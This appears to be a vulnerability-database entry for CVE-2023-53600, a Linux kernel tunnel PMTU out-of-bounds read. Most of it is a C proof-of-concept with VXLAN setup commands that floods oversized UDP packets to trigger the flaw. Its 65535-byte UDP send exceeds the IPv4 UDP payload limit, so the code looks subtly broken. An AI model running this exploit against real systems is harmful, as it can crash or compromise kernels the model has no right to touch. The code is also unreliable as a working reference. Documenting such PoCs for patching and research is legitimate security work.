CVE-2023-53600 Linux内核隧道IPv4 PMTU错误处理越界读取漏洞

/* CVE-2023-53600 - Linux Kernel Tunnel PMTU OOB Read PoC * This PoC demonstrates triggering the KASAN out-of-bounds read * by sending large packets through a VXLAN tunnel that exceed MTU. * * Requirements: * - Linux kernel < 6.5-rc4 (vulnerable version) * - VXLAN interface configured * - KASAN enabled kernel (for detection) * * Setup VXLAN tunnel: * ip link add vxlan100 type vxlan id 100 dev eth0 remote <remote_ip> * ip addr add 192.168.100.1/24 dev vxlan100 * ip link set vxlan100 up * * Set small MTU to trigger PMTU error: * ip link set vxlan100 mtu 100 */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #define BUFFER_SIZE 65535 #define VXLAN_MTU 100 int main(int argc, char *argv[]) { int sockfd; struct sockaddr_in dest_addr; char *buffer; int ret; /* Create UDP socket for sending data through tunnel */ sockfd = socket(AF_INET, SOCK_DGRAM, 0); if (sockfd < 0) { perror("socket creation failed"); return 1; } /* Allocate large buffer to exceed VXLAN MTU */ buffer = malloc(BUFFER_SIZE); if (!buffer) { perror("malloc failed"); close(sockfd); return 1; } memset(buffer, 'A', BUFFER_SIZE); /* Configure destination address through VXLAN tunnel */ memset(&dest_addr, 0, sizeof(dest_addr)); dest_addr.sin_family = AF_INET; dest_addr.sin_port = htons(5201); /* iperf3 port */ inet_pton(AF_INET, "192.168.100.2", &dest_addr.sin_addr); /* Send large packets to trigger PMTU error generation */ /* This will cause the kernel to attempt building an ICMP * PMTU error for the nonlinear skb, triggering the OOB read */ for (int i = 0; i < 100; i++) { ret = sendto(sockfd, buffer, BUFFER_SIZE, 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr)); if (ret < 0) { perror("sendto failed"); break; } } printf("PoC execution completed. Check dmesg for KASAN report.\n"); free(buffer); close(sockfd); return 0; }